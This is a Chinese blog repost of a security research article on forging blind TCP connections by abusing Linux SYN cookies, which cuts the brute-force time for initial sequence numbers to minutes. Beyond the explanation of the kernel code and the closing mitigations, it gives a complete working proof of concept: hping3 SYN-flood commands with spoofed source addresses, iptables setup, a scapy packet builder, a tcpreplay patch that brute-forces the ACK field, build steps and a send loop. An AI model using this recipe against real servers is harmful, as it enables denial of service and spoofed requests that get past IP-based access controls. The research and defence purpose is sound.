快速穷举TCP连接欺骗攻击-利用SYN Cookies

摘要
 
TCP 利用 32比特的 Seq/Ack 序列号来确认每一个连接的可靠性. 此外, 这些32位的序列号还能保证服务器不会被会话劫持,伪造一个服务器发出的初始序列号(ISN) 是个难以实现的技术. 因为暴力 破解的话需要穷举这个32比特的序列号,在一个千兆比特级别的网卡上也是很难实现的. 今天的文章将为大家带来是如何利用 TCP SYN Cookies (一项广泛使用的用来防止SYN-Flooding DOS攻击的防卫机制)来减少穷举ISN所需要花费的时间, SYN Cookies已经在Ubuntu 和 Debian各个发行版默认安装.
 
I. TCP基础知识复习
 
一个TCP连接是从三次握手开始的:
 

 
SYN: 客户端A发送一个SYN数据包给服务器,用来初始化一个连接. 这个SYN 包包含了客户端A所产生的一个初始序列号(ISN).
SYN-ACK: 服务器B应答了客户端A的这个连接请求. SYN-ACK包也包含了一个ISN,但是这个ISN是服务器所产生的. 除此之外,他还会应答上一个客户端发来的ISN,因此客户端A 能够从这个SYN-ACK包中确认到它上一次发的信息已经被服务器B所收获,而且通过ISN,还能验证是否由它所要求的服务器所发出,这样就验证了服务器的真伪。
ACK: 在三次握手的最后一个步骤,客户端A会发来一个ACK应答包,用来向服务器B确认客户端A已经收到服务器B 的ISN. 因此,服务器B就能确认客户端A实际上已经接收到了它发出的SYN-ACK 包,整个三次握手的过程如上图所示。
 
当三次握手完成之后TCP就建立了,这时,通信双方才可以真正开始传输数据给对方. 初始序列号不仅确定了对方可以接收到它所发出的数据包,而且也防止了IP欺骗,因为攻击者无法伪造初始序列号,也无法得知初始序列号是多少。
 
因为初始序列号是一个 32-bit 的值, 我们不可能盲目地穷举ISN来构造数据包. 如果我们需要发送3个数据包给服务器(一个 SYN 包用来初始化连接, 一个ACK 包用来结束三次握手和一个payload数据包), 我们平均需要发送3*2^32个数据包才可能成功做成一个会话欺骗. 如果我们以 300,000 个数据包一秒的速率来不断发包(能用一个千兆比特的高速网卡轻易实现), 发送完这些数据包需要12个小时.
 
TCP协议在设计上有一个广为人知的弱点,攻击者能够用数目巨大的SYN包来欺骗服务器. 服务器必须针对每一个SYN请求回送一个SYN-ACK 应答包,此时,服务器就必须保持一条半开放的连接,直到接收到一个对应的ACK应答包为止. 保持如此数目巨大的半开放连接,将会持续消耗掉服务器的资源,直到资源枯竭。服务器将会速度越来越慢,但是客户端的这种攻击却被视作是“合法”的,因为它遵守了TCP协议。这种“合法”的攻击叫做SYN Flooding(SYN泛洪攻击),它也是属于DOS攻击的一种。甚至攻击者只需一点点网络带宽就可以有效地攻陷一台普通的服务器。
 
II. 什么是SYN Cookie?
 
为了保护服务器不被SYN-Flooding攻击, Daniel J. Bernstein 在1996年发明了一项叫做TCP Syn Cookies 的技术.其核心技术是在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器再根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。
 
服务器因此可以不用保持半开放的连接, Syn Cookies只会记住客户端发送的SYN 数据包的一些细节. 例如,当初始 SYN数据包包含了客户端发来的最大分段大小(MSS) 时, 服务器能够利用3个比特的标志位将MSS进行编码 (利用一张8位硬编码MSS值的表). 或是为了确认这个半开放的连接状态会在一段时间后过期,服务器会设置一串缓慢递增的字符计数器(一般一分钟递增一次). SYN数据包的其他选项一概不予理会。(最近 Linux 内核新增了对TCP中时间戳消息选项的支持 [1]). 当收到ACK 应答包时, Linux 内核会提取相应的SYN Cookie值来跟ACK包作对比。
 
Bernstein的这个经典的方法只重新设置了计数器和MSS值 [2] ,只利用了ISN的8 个比特,因此,让剩下的24个比特的信息可以被攻击者所伪造(非可以预测性)以用来做会话劫持。这导致SYN+ACK包能够在相当短的一段时间内被穷举,利用现在的网络硬件设备,这可以轻易做到。为了缓和此类攻击,, Bernstein建议: [3]:
 
# 增加额外的cookie标志位:一个32比特长由私密函数生成的 a 32-bit 信息以防止攻击
 
这已经在最新的Lunix内核中被实现了,它确实保证了 加密后的ISN信息比没有用加密函数的更加难以被穷举。但是,当我们更进一步地观察这个加密函数时,我们发现,攻击者也许不用穷举整个32比特的ISN。
 
下列的一系列函数给我们展示了基于 Linux Kernel 3.10.1 内核的SYN Cookies是如何工作的 (file net/ipv4/syncookies.c):
 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define COOKIEBITS 24   /* Upper bits store count */
#define COOKIEMASK (((__u32)1 << COOKIEBITS) - 1)
 
static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
                    __be16 dport, __u32 sseq, __u32 count,
                    __u32 data)
{
     /*
      * Compute the secure sequence number.
      * The output should be:
      *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
      *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
      * Where sseq is their sequence number and count increases every
      * minute by 1.
      * As an extra hack, we add a small "data" value that encodes the
      * MSS into the second hash value.
      */
 
     return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
         sseq + (count << COOKIEBITS) +
         ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
          & COOKIEMASK));
}

sseq值是一个由客户端生成的序列号,因此,它能轻而易举地被攻击者所截获。数据的类型是0至7之间的整型,SYN Cookie利用这8个整型数据来编码MSS的值. 而计数器的数值只是一个一分钟递增一次的时间戳,数据总长为8比特。然而, 攻击者也必须暴力破解这个计数器的数值从而达到伪装的目的。
 
下面两个函数展示了SYN Cookies是如何检查收到的ACK数据包:+
 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#define COUNTER_TRIES 4
 
/*
  * This retrieves the small "data" value from the syncookie.
  * If the syncookie is bad, the data returned will be out of
  * range.  This must be checked by the caller.
  *
  * The count value used to generate the cookie must be within
  * "maxdiff" if the current (passed-in) "count".  The return value
  * is (__u32)-1 if this test fails.
  */
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
                   __be16 sport, __be16 dport, __u32 sseq,
                   __u32 count, __u32 maxdiff)
{
     __u32 diff;
 
     /* Strip away the layers from the cookie */
     cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
 
     /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
     diff = (count - (cookie >> COOKIEBITS)) & ((__u32) - 1 >> COOKIEBITS);
     if (diff >= maxdiff)
         return (__u32)-1;
 
     return (cookie -
         cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
         & COOKIEMASK;   /* Leaving the data behind */
}
 
/*
  * Check if a ack sequence number is a valid syncookie.
  * Return the decoded mss if it is, or 0 if not.
  */
static inline int cookie_check( struct sk_buff *skb, __u32 cookie)
{
     const struct iphdr *iph = ip_hdr(skb);
     const struct tcphdr *th = tcp_hdr(skb);
     __u32 seq = ntohl(th->seq) - 1;
     __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
                         th->source, th->dest, seq,
                         jiffies / (HZ * 60),
                         COUNTER_TRIES);
 
     return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}

 
 
首先, 服务器移除ISN里由客户端定义的第一个哈希值.这是非常容易实现的,因为这个哈希值是关于源/目的地址和源/目的端口,在传输的过程中并不会改变原值. 接下来的8个比特是计数器的值,计数器的值用来作为服务器生成SYN Cookie的依据之一。服务器会对这个计数器的值再做一次哈希。之后和MSS值一起,作为SYN Cookie辨别回来的ACK应答包是否是源地址发送过来的标准。
 
III. 利用大量有效编码的ISN来减少暴力穷举的时间花费
 
当Lunix内核编码一个ISN的计数器值和MSS值时,内核必须编码出一个有效的计数器值和MSS值的组合。但是,在一段给定的时间里. 有四个计数器值和8个可能的MSS值构成32种计数器值和MSS值的组合也会被服务器的SYN Cookie认定是有效值。攻击者可以利用这32位组合的其中任何一种就可以构造出一个让服务器的SYN Cookie接受的ACK 应答包. 通过构造经过精心配比的有效ISN值,即可减少暴力穷举的时间花费。
 
因为服务器不用记住它接收过什么SYN数据包而是利用了SYN Cookies机制,因此攻击者并不需要发送初始的SYN 数据包.当我们发送完伪造的32合法的ACK应答包后,服务器的内核会处理这些有效的ACK应答包,而并不管是否之前有这些应答包对应的SYN-Ack 包或SYN包。
 
IV.如何将 ACK-Packet和 Payload 组合在一起
 
虽然TCP 标准假设数据在三次握手完成之后发送,但是我们可以将数据附在ACK应答包中随着三次握手的最后一握一起发送!(这他喵也可以啊!) [4]. 这就意味着,攻击者可以将payload数据(例如一个http请求头)附在经过精细配置ISN的ACK应答包中,这就可以做会话劫持了,再次减少了独自发送payload数据包的时间花费。因此做成一次成功的会话劫持所发的数据包可以平均减少至2^32 / 32 个(因为服务器可以一次性接收32个不同的ISN值). 这样我们就介意把原先section I中的12小时缩减至8分钟即可完成一次暴力穷举。
 
 
 
V.哪些应用软件可用做TCP 会话劫持的目标
 
许多应用软件的开发机制中,有一点是会确认客户端的IP地址真实存在的,因此不会很容易就被会话劫持. 是否可以伪造源地址对哪些当使用IP地址来作为身份认证的应用软件具有十分重要的意义。现在仍有许多应用程序使用IP地址来作为身份认证,例如. 某些程序上的管理员接口只开放给一些认定IP地址的主机.另外一个普遍使用IP地址来作为身份认证的例子莫过于,许多web应用将session ID与绑定用户的IP地址相绑定. 一旦用户的session ID被攻击者窃取,攻击者可以通过各种手段来伪造用户的IP地址以达到session劫持的攻击效果.
 
除此之外,许多应用程序还使用IP 地址作为验证请求, 这可以让应用程序非常简单就可以记录用户的IP地址。这也让管理员能够轻易地根据入侵者的IP地址记录,来追查入侵者蛛丝马迹。但是这种方式记录攻击者IP的地址也不是十全十美的,因为攻击者利用各种代理就可以轻易地躲避追查。
 
这项技术的一个最大的弊端就在于:通过伪造你的IP地址,你只能够发送一个请求,但是并不能够接收到服务器的任何响应. 但是对于大多数协议来说,我们还是可以轻易获得服务器的响应。利用ACK应答包和Payload数据包结合的方法来做会话劫持,比较适用于利用比较复杂的协议来做开发的应用程序。
 
VI. 一个POC Exploit 和检验方法
 
这个部分主要描述了真实攻击中所需要的步骤和前期准备,完整的POC 代码将在下文中贴出. 我将实验的目标服务器的IP地址设为192.168.1.11 、端口设置为1234. 攻击者的主机在同一个网段内,攻击机的IP地址为192.168.1.217.
 
首先,先确认SYN Cookies 已经正常工作,我们可以在 /proc/sys/net/ipv4/tcp_syncookies (在不同的linux 发行版中都是这个默认路径)路径下查看,。 系统将会仍然使用服务器缓冲队列来存储半开放状态的连接,直到缓冲区溢出时,系统才会回退去使用SYN Cookies. 这种现象的主要是优化的结果,因为当服务器相对空闲的情况下,系统仍偏向用传统的连接处理机制来存储连接状态,这是因为服务器想尽可能多地保存连接信息,). 我们可以在/proc/sys/net/ipv4/tcp_max_syn_backlog 定义服务器缓冲队列的大小,默认状态下的缓冲区队列大小是2048字节。所以,在会话劫持攻击之前,我们必须先使用Syn-Flooding攻击使服务器的缓冲区队列溢出.可以通过使用hping3工具完成,命令如下:
 
 hping3 -i u100 -p 1234 -S -a 192.168.1.216 -q 192.168.1.11
 
 
我们多开几个hping3 来并行发包,以加快暴力穷举的速度。我们用下列的命令来发送SYN数据包,hping3将每秒发送3000个SYN 数据包给目标服务器:
 while true;do time hping3 -i u1 -c 3000 -S -q -p 1234 -a 192.168.1.216 192.168.1.11;sleep 1;done
 
 
 
目标服务器经受SYN-Flooding攻击之后,如果攻击机不响应一个RST数据包或是返回一个ICMP目标主机不可达的消息的话,服务器的缓冲区队列将会被塞满. 在linux下,你可以简单地增加一个网络接口来增加一个IP地址,让所有的通信流量流经此网络接口,以此来阻止攻击机回复RST 数据包,配置的命令如下:
 
 ifconfig eth0:1 inet 192.168.1.216 netmask 255.255.255.0 up 
 
  iptables -I INPUT --dst 192.168.1.216 -j DROP
 
 
 
我曾经用相同的命令来配置攻击机.这个命令保证了攻击机不会响应一个RST数据包或是返回一个ICMP目标主机不可达的消息, 这可能导致连接过早地中断,所以我们将主机配置如下:
 
  ifconfig eth0:2 inet 192.168.1.217 netmask 255.255.255.0 up 
 
 iptables -I INPUT --dst 192.168.1.217 -j DROP
 
 
 
一旦服务器系统开启了SYN-Cookie 模式,就是时候开始发送我们之前已经精心构造的32比特ISN信息的ACK+PAYLOAD数据包了。我最初想利用scapy这个工具来实现,但是scapy的发包速度太慢了,完全不符合我们的期望 (少于10k 个数据包一秒). 所以,我利用了tcpreplay 这款工具来实现,主要实现的难点是如何没有重复地穷举2^32 个可能值. 在理论上,你必须穷举全部可能的 ISNs. 但是计数器值只会在一分钟内递增一次,我们正可以利用这个特性来把算法进行优化,我们利用一种叫做“线性搜索”的算法来做优化,所以我们可以让tcpreplay生成数据包更加快捷。
 
下列的python脚本会创建一个简单的ACK 应答包,并且将payload加入其中:
 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python
 
# Change log level to suppress annoying IPv6 error
import logging
logging.getLogger( "scapy.runtime" ).setLevel(logging.ERROR)
 
from scapy. all import *
import time
 
# Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC
# should be the MAC of the gateway to use when the target is not on your local subnet
ether = Ether(src = "40:eb:60:9f:42:a0" ,dst = "e8:40:f2:d1:b3:a2" )
# Set up source and destination IP addresses
ip = IP(src = "192.168.1.217" , dst = "192.168.1.11" )
 
# Assemble an ACK packet with "Hello World\n" as a payload
pkt = ether / ip / TCP(sport = 31337 , dport = 1234 , flags = "A" , seq = 43 , ack = 1337 ) / ( "Hello World\n" )
# Write the packet to a pcap file, which can then be sent using a patched version of tcpreplay
wrpcap( "ack_with_payload.pcap" ,pkt)
下一步是修补并且编译tcpreplay:
tcpreplay_patch.txt
raw download
diff - u - r tcpreplay - 3.4 . 4 / src / send_packets.c tcpreplay - 3.4 . 4.patched / src / send_packets.c
- - - tcpreplay - 3.4 . 4 / src / send_packets.c  2010 - 04 - 05 02 : 58 : 02.000000000 + 0200
+ + + tcpreplay - 3.4 . 4.patched / src / send_packets.c  2013 - 08 - 06 10 : 56 : 51.757048452 + 0200
@@ - 81 , 6 + 81 , 9 @@
  void
  send_packets(pcap_t * pcap, int cache_file_idx)
  {
+    static u_int32_t ack_bruteforce_offset = 1 ;
+    uint32_t * ack;
+    uint32_t orig_ack;
      struct timeval last = { 0 , 0 }, last_print_time = { 0 , 0 }, print_delta, now;
      COUNTER packetnum = 0 ;
      struct pcap_pkthdr pkthdr;
@@ - 154 , 6 + 157 , 9 @@
  #endif
 
  #if defined TCPREPLAY && defined TCPREPLAY_EDIT
+        ack = (uint32_t * )(pktdata + 14 + 20 + 8 );
+        orig_ack = * ack;
+        * ack = htonl(ntohl( * ack) + ack_bruteforce_offset);
          pkthdr_ptr = &pkthdr;
          if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp - >cache_dir) = = - 1 ) {
              errx( - 1 , "Error editing packet #" COUNTER_SPEC ": %s" , packetnum, tcpedit_geterr(tcpedit));
@@ - 176 , 7 + 182 , 7 @@
          / * write packet out on network * /
          if (sendpacket(sp, pktdata, pktlen) < ( int )pktlen)
              warnx( "Unable to send packet: %s" , sendpacket_geterr(sp));
-
+        * ack = orig_ack;
          / *
           * track the time of the "last packet sent" .  Again, because of OpenBSD
           * we have to do a mempcy rather then assignment.
@@ - 205 , 7 + 211 , 7 @@
              }
          }
      } / * while * /
-
+    ack_bruteforce_offset + = 31337 ;
      if (options.enable_file_cache) {
          options.file_cache[cache_file_idx].cached = TRUE;
      }

 
 
下列命令适用于Ubuntu 12.04 amd64系统:
 
?
1
2
3
4
5
6
7
8
9
apt-get install build-essential libpcap-dev
ln -s lib /x86_64-linux-gnu /usr/lib64 # Quick workaround for a bug in the build system of tcpreplay
wget -O tcpreplay-3.4.4. tar .gz http: //prdownloads .sourceforge.net /tcpreplay/tcpreplay-3 .4.4. tar .gz?download
tar xzvf tcpreplay-3.4.4. tar .gz
cd tcpreplay-3.4.4
cat .. /tcpreplay_patch .txt | patch -p1
. /configure
make
cp src /tcpreplay-edit ../

 
 
 
将tcpreplay打过编译并且升至最新版本之后,你就能使用下列来发送数据包啦:
 
1 python create_packet.py 
 
 while true;do time ./tcpreplay-edit -i eth0 -t -C -K -l 500000000 -q ack_with_payload.pcap;done
 
 
 
VII. 实验结果
 
我曾用一部用了3年的笔记本在本地网络上测试这程序(HP 6440,i5-430M CPU和Marvell 88e8072千兆网卡),笔记本作为攻击机和一台台式电脑作服务器。用一个功能比较小的payload,可实现的包封率为280000包/秒。在测试的攻击主机上,tcpreplay工具占用了73% CPU使用率(在时间的输出上。18%为用户输出和55%为系统输出)根据[5],可以预期,当给出了一种快速的算法与一个相当好的英特尔千兆网卡时,包封率至少可以翻了一番。当然,实际包封率也取决于payload数据的大小。在10.5小时的通宵运行中,我成功地欺骗了64个连接,这里面每一个成功的TCP欺骗平均用时10分钟。这是有点低于预期值:79个伪造连接(每8分钟一次)。有几种可能的解释这种偏差:
 
1.在tcpreplay过程中需要花费一定的时间在最后的打印统计上。在这段时间里没有包发送。所以,我只用tcpreplay的输出统计测量包率和测得的数据包的速率可能会有一点点偏离。
 
2.当你的硬件实现的最大数据传输速率,可能会有数据包丢失(尤其是如果你不使用任何一种拥塞控制)。
 
3.欺骗成功率是一个统计过程。标准偏差约为欺骗连接的预期数量的平方根,这特别不是不可能是被一个或两个标准偏差的期望值取消。在这个实验中,标准偏差和测量一些伪造连接有1.68的标准偏差,这都是在预期中的统计变化。
 
VIII. 可能的缓解方案
 
TCP连接欺骗的实现,是一个TCP SYN Cookie的固有的问题,所以不会有一个简单的补丁能解决这个问题,使得欺骗攻击和没有SYN Cookies一样困难。唯一有可能做的,只能是增加欺骗一个连接难度,如只接受最后两个而不是四个计数器值(在SYN泛洪攻击时,这将导致一个60-120s在三次握手中最初的SYN和最后的ACK数据包之间的超时)或通过不允许有payload数据加在ACK数据包的数据排列后面(数据包的攻击者发送数量这将增加一倍)。然而,即使这两个缓解措施到位,有SKN cookies的欺骗攻击仍然是比没有SYN cookies的容易,而且这会很不可取的去假设TCP连接的源IP地址不能被欺骗。它也可能使用TCP时间戳选项下的较低比特(这是目前用于支持有SYN Cookies的TCP 选项)来编码MSS和计数器的值。然而,如果服务器拒绝不支持具有TCP时间戳的客户端,在SYN泛洪攻击期间这能提供有效的保护,但这将打破标准TCP协议实现的通用性。
 
这显然可以禁用SYN Cookies(或是在/proc/sys/net/ IPv4/tcp_max_syn_backlog增加储存队列长度)。然而,禁用SYN Cookie的话,在SYN泛洪攻击时可能需要大量CPU时间和内存。此外,在没有SYN cookies下,会话欺骗是仍然是可能实现的——几个千兆以太网连接的穷举攻击下,它仍可能会成功。
 
鉴于其他减缓措施,我的建议是解决高水平的问题——确保应用程序的安全性不依赖于源地址的可靠性。这显然意味着你永远不应该依赖于源IP地址认证。对于Web应用程序也可以通过使用安全的CSRF令牌缓解问题,CSRF攻击将在服务器造成持久的变化而没有处理要求,除非使用了有效的CSRF令牌。在这种情况下使用CSRF令牌请求的IP地址可能被欺骗,但是令牌已发送到的IP地址不可伪造,由于攻击者将要收到CSRF令牌以至于他可以使用它。IP地址登录时用于某些行为如博客评论或注册帐户,该CSRF令牌已发送到的IP地址应同时记录(或代替)使用令牌的IP地址。

相关参考文献:
 
[1]: http://lwn.net/Articles/277146/
 
[2]: http://cr.yp.to/syncookies.html Section “What are SYN cookies?”
 
[3]: http://cr.yp.to/syncookies.html Section “Blind connection forgery”
 
[4]: http://www.thice.nl/creating-ack-get-packets-with-scapy/
 
[5]:HTTP:/ wiki.networksecuritytoolkit.org / nstwiki index.php / lan_ethernet_maximum_rates,_generation,_capturing_ % 26_monitoring # pktgen:_udp_60_byte_packets

 
原文:http://www.91ri.org/7075.html
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值